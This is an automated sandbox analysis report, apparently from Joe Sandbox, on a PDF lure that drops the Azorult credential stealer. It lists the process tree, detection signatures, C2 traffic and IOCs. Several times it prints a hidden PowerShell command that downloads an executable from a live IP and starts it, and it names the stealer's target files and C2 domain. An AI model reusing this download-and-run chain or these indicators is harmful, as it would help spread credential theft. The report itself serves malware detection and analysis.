Edit tour

Windows Analysis Report
Refrence-Order#63729.pdf

Overview

General Information

Sample name:	Refrence-Order#63729.pdf
Analysis ID:	1525377
MD5:	a0c8986f254942da6398f191ea2de509
SHA1:	4e40a90768dfeff4c0cb4411a176bd7be68c9ac7
SHA256:	cf5b009d36a4f45d435e3a10ac62c19fcbd161f69689589f8e9280735441da5c
Infos:

Detection

Azorult

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Suricata IDS alerts for network traffic

Yara detected Azorult

Yara detected Azorult Info Stealer

Downloads suspicious files via Chrome

Found many strings related to Crypto-Wallets (likely being stolen)

Powershell drops PE file

Suspicious execution chain found

Suspicious powershell command line found

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Instant Messenger accounts or passwords

Tries to steal Mail credentials (via file / registry access)

Uses known network protocols on non-standard ports

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Downloads executable code via HTTP

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

PE file does not import any functions

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

Acrobat.exe (PID: 1588 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\Refrence-Order#63729.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 3632 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 5800 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1648,i,13846908191523088428,4317798153426057355,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

chrome.exe (PID: 7456 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "https://files.catbox.moe/ft6o99.rar" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7992 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2132 --field-trial-handle=2024,i,4430408349304570474,12828371247776243048,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

unarchiver.exe (PID: 7216 cmdline: "C:\Windows\SysWOW64\unarchiver.exe" "C:\Users\user\Downloads\ft6o99.rar" MD5: 16FF3CC6CC330A08EED70CBC1D35F5D2)

7za.exe (PID: 3748 cmdline: "C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\kufktcsf.fzd" "C:\Users\user\Downloads\ft6o99.rar" MD5: 77E556CDFDC5C592F5C46DB4127C6F4C)

conhost.exe (PID: 7200 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 5532 cmdline: "cmd.exe" /C "C:\Users\user\AppData\Local\Temp\kufktcsf.fzd\Order-63729_Reference.bat" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7288 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5552 cmdline: powershell.exe -w hidden iwr -Uri http://217.160.121.141:8030/5643254657/Order-63729r.exe -OutFile $env:TEMP\Order-63729_Reference.exe;Start-Process $env:TEMP\Order-63729_Reference.exe MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

Order-63729_Reference.exe (PID: 7588 cmdline: "C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe" MD5: 27864DD446F03F806B26031D97E3377B)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Azorult	AZORult is a credential and payment card information stealer. Among other things, version 2 added support for .bit-domains. It has been observed in conjunction with Chthonic as well as being dropped by Ramnit.	The Gorgon Group	http://www.vkremez.com/2017/07/lets-learn-reversing-credential-and.html https://0xc0decafe.com/malware-analyst-guide-to-pe-timestamps/ https://asec.ahnlab.com/en/26517/ https://blog.360totalsecurity.com/en/bayworld-event-cyber-attack-against-foreign-trade-industry/ https://blog.checkpoint.com/2022/05/10/a-german-car-attack-on-german-vehicle-businesses/	https://malpedia.caad.fkie.fraunhofer.de/details/win.azorult

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	Windows_Trojan_Azorult_38fce9ea	unknown	unknown	0x91b56:$a1: /c %WINDIR%\system32\timeout.exe 3 & del " 0x83b68:$a2: %APPDATA%\.purple\accounts.xml 0x842f6:$a3: %TEMP%\curbuf.dat 0x918da:$a4: PasswordsList.txt 0x8bfdc:$a5: Software\Valve\Steam
dump.pcap	Azorult	detect Azorult in memory	JPCERT/CC Incident Response Group	0x8fa9c:$v1: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) 0x901d4:$v1: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) 0x9c96d:$v1: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) 0xd1818c:$v1: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) 0x91a66:$v2: http://ip-api.com/json 0x9052e:$v3: C6 07 1E C6 47 01 15 C6 47 02 34

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	JoeSecurity_Azorult	Yara detected Azorult Info Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	JoeSecurity_Azorult_1	Yara detected Azorult	Joe Security
C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Windows_Trojan_Azorult_38fce9ea	unknown	unknown	0x19850:$a1: /c %WINDIR%\system32\timeout.exe 3 & del " 0xcb78:$a2: %APPDATA%\.purple\accounts.xml 0xd2c0:$a3: %TEMP%\curbuf.dat 0x195d4:$a4: PasswordsList.txt 0x145d8:$a5: Software\Valve\Steam
C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Azorult_1	Azorult Payload	kevoreilly	0x17c78:$code1: C7 07 3C 00 00 00 8D 45 80 89 47 04 C7 47 08 20 00 00 00 8D 85 80 FE FF FF 89 47 10 C7 47 14 00 01 00 00 8D 85 00 FE FF FF 89 47 1C C7 47 20 80 00 00 00 8D 85 80 FD FF FF 89 47 24 C7 47 28 80 ... 0x120ac:$string1: SELECT DATETIME( ((visits.visit_time/1000000)-11644473600),"unixepoch")
C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Azorult	detect Azorult in memory	JPCERT/CC Incident Response Group	0x17a18:$v1: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) 0x18078:$v1: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) 0x19760:$v2: http://ip-api.com/json 0x183d2:$v3: C6 07 1E C6 47 01 15 C6 47 02 34

Memory Dumps

Source	Rule	Description	Author	Strings
00000013.00000003.2574661834.0000000003134000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Azorult_1	Yara detected Azorult	Joe Security
00000013.00000003.2574493770.0000000003118000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Azorult_1	Yara detected Azorult	Joe Security
00000013.00000002.2574878413.0000000000401000.00000020.00000001.01000000.00000008.sdmp	JoeSecurity_Azorult	Yara detected Azorult Info Stealer	Joe Security
00000013.00000002.2574878413.0000000000401000.00000020.00000001.01000000.00000008.sdmp	JoeSecurity_Azorult_1	Yara detected Azorult	Joe Security
00000013.00000002.2574878413.0000000000401000.00000020.00000001.01000000.00000008.sdmp	Windows_Trojan_Azorult_38fce9ea	unknown	unknown	0x19450:$a1: /c %WINDIR%\system32\timeout.exe 3 & del " 0xc778:$a2: %APPDATA%\.purple\accounts.xml 0xcec0:$a3: %TEMP%\curbuf.dat 0x191d4:$a4: PasswordsList.txt 0x141d8:$a5: Software\Valve\Steam
00000013.00000002.2574878413.0000000000401000.00000020.00000001.01000000.00000008.sdmp	Azorult	detect Azorult in memory	JPCERT/CC Incident Response Group	0x17618:$v1: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) 0x17c78:$v1: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) 0x19360:$v2: http://ip-api.com/json 0x17fd2:$v3: C6 07 1E C6 47 01 15 C6 47 02 34
00000013.00000003.2573675317.0000000003140000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Azorult_1	Yara detected Azorult	Joe Security
00000013.00000003.2574244127.0000000003110000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Azorult_1	Yara detected Azorult	Joe Security
00000013.00000003.2574531853.000000000399C000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000013.00000000.2458000814.0000000000401000.00000020.00000001.01000000.00000008.sdmp	JoeSecurity_Azorult	Yara detected Azorult Info Stealer	Joe Security
00000013.00000000.2458000814.0000000000401000.00000020.00000001.01000000.00000008.sdmp	JoeSecurity_Azorult_1	Yara detected Azorult	Joe Security
00000013.00000000.2458000814.0000000000401000.00000020.00000001.01000000.00000008.sdmp	Windows_Trojan_Azorult_38fce9ea	unknown	unknown	0x19450:$a1: /c %WINDIR%\system32\timeout.exe 3 & del " 0xc778:$a2: %APPDATA%\.purple\accounts.xml 0xcec0:$a3: %TEMP%\curbuf.dat 0x191d4:$a4: PasswordsList.txt 0x141d8:$a5: Software\Valve\Steam
00000013.00000000.2458000814.0000000000401000.00000020.00000001.01000000.00000008.sdmp	Azorult	detect Azorult in memory	JPCERT/CC Incident Response Group	0x17618:$v1: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) 0x17c78:$v1: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) 0x19360:$v2: http://ip-api.com/json 0x17fd2:$v3: C6 07 1E C6 47 01 15 C6 47 02 34
00000013.00000003.2573946758.0000000003660000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Order-63729_Reference.exe PID: 7588	JoeSecurity_Azorult	Yara detected Azorult Info Stealer	Joe Security
Process Memory Space: Order-63729_Reference.exe PID: 7588	JoeSecurity_Azorult_1	Yara detected Azorult	Joe Security
Process Memory Space: Order-63729_Reference.exe PID: 7588	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 12 entries

Sigma Signatures

System Summary

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell.exe -w hidden iwr -Uri http://217.160.121.141:8030/5643254657/Order-63729r.exe -OutFile $env:TEMP\Order-63729_Reference.exe;Start-Process $env:TEMP\Order-63729_Reference.exe, CommandLine: powershell.exe -w hidden iwr -Uri http://217.160.121.141:8030/5643254657/Order-63729r.exe -OutFile $env:TEMP\Order-63729_Reference.exe;Start-Process $env:TEMP\Order-63729_Reference.exe, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "cmd.exe" /C "C:\Users\user\AppData\Local\Temp\kufktcsf.fzd\Order-63729_Reference.bat", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 5532, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -w hidden iwr -Uri http://217.160.121.141:8030/5643254657/Order-63729r.exe -OutFile $env:TEMP\Order-63729_Reference.exe;Start-Process $env:TEMP\Order-63729_Reference.exe, ProcessId: 5552, ProcessName: powershell.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -w hidden iwr -Uri http://217.160.121.141:8030/5643254657/Order-63729r.exe -OutFile $env:TEMP\Order-63729_Reference.exe;Start-Process $env:TEMP\Order-63729_Reference.exe, CommandLine: powershell.exe -w hidden iwr -Uri http://217.160.121.141:8030/5643254657/Order-63729r.exe -OutFile $env:TEMP\Order-63729_Reference.exe;Start-Process $env:TEMP\Order-63729_Reference.exe, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "cmd.exe" /C "C:\Users\user\AppData\Local\Temp\kufktcsf.fzd\Order-63729_Reference.bat", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 5532, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -w hidden iwr -Uri http://217.160.121.141:8030/5643254657/Order-63729r.exe -OutFile $env:TEMP\Order-63729_Reference.exe;Start-Process $env:TEMP\Order-63729_Reference.exe, ProcessId: 5552, ProcessName: powershell.exe

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: powershell.exe -w hidden iwr -Uri http://217.160.121.141:8030/5643254657/Order-63729r.exe -OutFile $env:TEMP\Order-63729_Reference.exe;Start-Process $env:TEMP\Order-63729_Reference.exe, CommandLine: powershell.exe -w hidden iwr -Uri http://217.160.121.141:8030/5643254657/Order-63729r.exe -OutFile $env:TEMP\Order-63729_Reference.exe;Start-Process $env:TEMP\Order-63729_Reference.exe, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "cmd.exe" /C "C:\Users\user\AppData\Local\Temp\kufktcsf.fzd\Order-63729_Reference.bat", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 5532, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -w hidden iwr -Uri http://217.160.121.141:8030/5643254657/Order-63729r.exe -OutFile $env:TEMP\Order-63729_Reference.exe;Start-Process $env:TEMP\Order-63729_Reference.exe, ProcessId: 5552, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -w hidden iwr -Uri http://217.160.121.141:8030/5643254657/Order-63729r.exe -OutFile $env:TEMP\Order-63729_Reference.exe;Start-Process $env:TEMP\Order-63729_Reference.exe, CommandLine: powershell.exe -w hidden iwr -Uri http://217.160.121.141:8030/5643254657/Order-63729r.exe -OutFile $env:TEMP\Order-63729_Reference.exe;Start-Process $env:TEMP\Order-63729_Reference.exe, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "cmd.exe" /C "C:\Users\user\AppData\Local\Temp\kufktcsf.fzd\Order-63729_Reference.bat", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 5532, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -w hidden iwr -Uri http://217.160.121.141:8030/5643254657/Order-63729r.exe -OutFile $env:TEMP\Order-63729_Reference.exe;Start-Process $env:TEMP\Order-63729_Reference.exe, ProcessId: 5552, ProcessName: powershell.exe

Suricata Signatures

ET MALWARE AZORult v3.3 Server Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-04T04:28:02.336392+0200	2029136	1	Malware Command and Control Activity Detected	172.67.159.45	80	192.168.2.6	49740	TCP

ET MALWARE Win32/AZORult V3.3 Client Checkin M14

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-04T04:28:02.056742+0200	2029467	1	Malware Command and Control Activity Detected	192.168.2.6	49740	172.67.159.45	80	TCP
2024-10-04T04:28:11.260527+0200	2029467	1	Malware Command and Control Activity Detected	192.168.2.6	49744	172.67.159.45	80	TCP

ETPRO MALWARE AZORult CnC Beacon M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-04T04:28:02.056742+0200	2810276	1	Malware Command and Control Activity Detected	192.168.2.6	49740	172.67.159.45	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for domain / URL

Source: http://h8m5b.shop/ML341/index.php	Virustotal: Detection: 9%	Perma Link
Source: http://h8m5b.shop/ML341/index.php#	Virustotal: Detection: 9%	Perma Link
Source: http://217.160.121.141:8030/5643254657/Order-63729r.exe	Virustotal: Detection: 8%	Perma Link

Source: C:\Windows\SysWOW64\unarchiver.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9672_none_d08f9da24428a513\MSVCR80.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.6:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.6:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49756 version: TLS 1.2

Source:	Binary string: api-ms-win-crt-locale-l1-1-0.pdb source: Order-63729_Reference.exe, 00000013.00000003.2574135775.000000000355C000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-locale-l1-1-0.dll.19.dr
Source:	Binary string: api-ms-win-crt-runtime-l1-1-0.pdb source: Order-63729_Reference.exe, 00000013.00000003.2574135775.000000000355C000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-runtime-l1-1-0.dll.19.dr
Source:	Binary string: z:\build\build\src\obj-firefox\mozglue\build\mozglue.pdb source: Order-63729_Reference.exe, 00000013.00000003.2573946758.0000000003660000.00000004.00001000.00020000.00000000.sdmp, mozglue.dll.19.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss3.pdb source: Order-63729_Reference.exe, 00000013.00000003.2573946758.0000000003660000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.19.dr
Source:	Binary string: ucrtbase.pdb source: Order-63729_Reference.exe, 00000013.00000003.2573946758.0000000003660000.00000004.00001000.00020000.00000000.sdmp, ucrtbase.dll.19.dr
Source:	Binary string: api-ms-win-core-file-l1-2-0.pdb source: Order-63729_Reference.exe, 00000013.00000003.2574135775.000000000355C000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-file-l1-2-0.dll.19.dr
Source:	Binary string: api-ms-win-core-memory-l1-1-0.pdb source: Order-63729_Reference.exe, 00000013.00000003.2574135775.000000000355C000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-memory-l1-1-0.dll.19.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\freebl\freebl_freebl3\freebl3.pdb source: Order-63729_Reference.exe, 00000013.00000003.2573946758.0000000003660000.00000004.00001000.00020000.00000000.sdmp, freebl3.dll.19.dr
Source:	Binary string: api-ms-win-core-debug-l1-1-0.pdb source: Order-63729_Reference.exe, 00000013.00000003.2574135775.000000000355C000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-debug-l1-1-0.dll.19.dr
Source:	Binary string: api-ms-win-core-sysinfo-l1-1-0.pdb source: Order-63729_Reference.exe, 00000013.00000003.2574135775.000000000355C000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-sysinfo-l1-1-0.dll.19.dr
Source:	Binary string: api-ms-win-crt-filesystem-l1-1-0.pdb source: Order-63729_Reference.exe, 00000013.00000003.2574135775.000000000355C000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-filesystem-l1-1-0.dll.19.dr
Source:	Binary string: api-ms-win-crt-stdio-l1-1-0.pdb source: Order-63729_Reference.exe, 00000013.00000003.2574135775.000000000355C000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-stdio-l1-1-0.dll.19.dr
Source:	Binary string: api-ms-win-core-heap-l1-1-0.pdb source: Order-63729_Reference.exe, 00000013.00000003.2574135775.000000000355C000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-heap-l1-1-0.dll.19.dr
Source:	Binary string: api-ms-win-core-util-l1-1-0.pdb source: Order-63729_Reference.exe, 00000013.00000003.2574135775.000000000355C000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-util-l1-1-0.dll.19.dr
Source:	Binary string: api-ms-win-core-synch-l1-1-0.pdb source: Order-63729_Reference.exe, 00000013.00000003.2574135775.000000000355C000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-synch-l1-1-0.dll.19.dr
Source:	Binary string: api-ms-win-crt-environment-l1-1-0.pdb source: Order-63729_Reference.exe, 00000013.00000003.2574135775.000000000355C000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-environment-l1-1-0.dll.19.dr
Source:	Binary string: vcruntime140.i386.pdbGCTL source: Order-63729_Reference.exe, 00000013.00000003.2573946758.0000000003660000.00000004.00001000.00020000.00000000.sdmp, vcruntime140.dll.19.dr
Source:	Binary string: z:\build\build\src\obj-firefox\mozglue\build\mozglue.pdb11 source: Order-63729_Reference.exe, 00000013.00000003.2573946758.0000000003660000.00000004.00001000.00020000.00000000.sdmp, mozglue.dll.19.dr
Source:	Binary string: api-ms-win-core-errorhandling-l1-1-0.pdb source: Order-63729_Reference.exe, 00000013.00000003.2574135775.000000000355C000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-errorhandling-l1-1-0.dll.19.dr
Source:	Binary string: api-ms-win-core-processthreads-l1-1-0.pdb source: Order-63729_Reference.exe, 00000013.00000003.2574135775.000000000355C000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-processthreads-l1-1-0.dll.19.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\freebl\freebl_freebl3\freebl3.pdbZZ source: Order-63729_Reference.exe, 00000013.00000003.2573946758.0000000003660000.00000004.00001000.00020000.00000000.sdmp, freebl3.dll.19.dr
Source:	Binary string: api-ms-win-core-console-l1-1-0.pdb source: Order-63729_Reference.exe, 00000013.00000003.2573697532.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp, Order-63729_Reference.exe, 00000013.00000003.2574207849.0000000003558000.00000004.00001000.00020000.00000000.sdmp, Order-63729_Reference.exe, 00000013.00000003.2574592428.0000000003DE4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-console-l1-1-0.dll.19.dr
Source:	Binary string: api-ms-win-core-file-l1-1-0.pdb source: Order-63729_Reference.exe, 00000013.00000003.2574135775.000000000355C000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-file-l1-1-0.dll.19.dr
Source:	Binary string: api-ms-win-crt-private-l1-1-0.pdb source: Order-63729_Reference.exe, 00000013.00000003.2574135775.000000000355C000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-private-l1-1-0.dll.19.dr
Source:	Binary string: api-ms-win-crt-convert-l1-1-0.pdb source: Order-63729_Reference.exe, 00000013.00000003.2574135775.000000000355C000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-convert-l1-1-0.dll.19.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb)) source: Order-63729_Reference.exe, 00000013.00000003.2573946758.0000000003660000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.19.dr
Source:	Binary string: msvcp140.i386.pdb source: Order-63729_Reference.exe, 00000013.00000003.2573946758.0000000003660000.00000004.00001000.00020000.00000000.sdmp, msvcp140.dll.19.dr
Source:	Binary string: ucrtbase.pdbUGP source: Order-63729_Reference.exe, 00000013.00000003.2573946758.0000000003660000.00000004.00001000.00020000.00000000.sdmp, ucrtbase.dll.19.dr
Source:	Binary string: api-ms-win-core-profile-l1-1-0.pdb source: Order-63729_Reference.exe, 00000013.00000003.2574135775.000000000355C000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-profile-l1-1-0.dll.19.dr
Source:	Binary string: api-ms-win-crt-time-l1-1-0.pdb source: Order-63729_Reference.exe, 00000013.00000003.2574135775.000000000355C000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-time-l1-1-0.dll.19.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\legacydb\legacydb_nssdbm3\nssdbm3.pdb-- source: Order-63729_Reference.exe, 00000013.00000003.2573946758.0000000003660000.00000004.00001000.00020000.00000000.sdmp, nssdbm3.dll.19.dr
Source:	Binary string: api-ms-win-core-handle-l1-1-0.pdb source: Order-63729_Reference.exe, 00000013.00000003.2574135775.000000000355C000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-handle-l1-1-0.dll.19.dr
Source:	Binary string: api-ms-win-core-synch-l1-2-0.pdb source: Order-63729_Reference.exe, 00000013.00000003.2574135775.000000000355C000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-synch-l1-2-0.dll.19.dr
Source:	Binary string: api-ms-win-core-processenvironment-l1-1-0.pdb source: Order-63729_Reference.exe, 00000013.00000003.2574135775.000000000355C000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-processenvironment-l1-1-0.dll.19.dr
Source:	Binary string: api-ms-win-core-datetime-l1-1-0.pdb source: Order-63729_Reference.exe, 00000013.00000003.2574135775.000000000355C000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-datetime-l1-1-0.dll.19.dr
Source:	Binary string: api-ms-win-crt-conio-l1-1-0.pdb source: Order-63729_Reference.exe, 00000013.00000003.2574135775.000000000355C000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-conio-l1-1-0.dll.19.dr
Source:	Binary string: api-ms-win-core-localization-l1-2-0.pdb source: Order-63729_Reference.exe, 00000013.00000003.2574135775.000000000355C000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-localization-l1-2-0.dll.19.dr
Source:	Binary string: api-ms-win-crt-math-l1-1-0.pdb source: Order-63729_Reference.exe, 00000013.00000003.2574135775.000000000355C000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-math-l1-1-0.dll.19.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb source: Order-63729_Reference.exe, 00000013.00000003.2573946758.0000000003660000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.19.dr
Source:	Binary string: api-ms-win-core-processthreads-l1-1-1.pdb source: Order-63729_Reference.exe, 00000013.00000003.2574135775.000000000355C000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-processthreads-l1-1-1.dll.19.dr
Source:	Binary string: api-ms-win-core-namedpipe-l1-1-0.pdb source: Order-63729_Reference.exe, 00000013.00000003.2574135775.000000000355C000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-namedpipe-l1-1-0.dll.19.dr
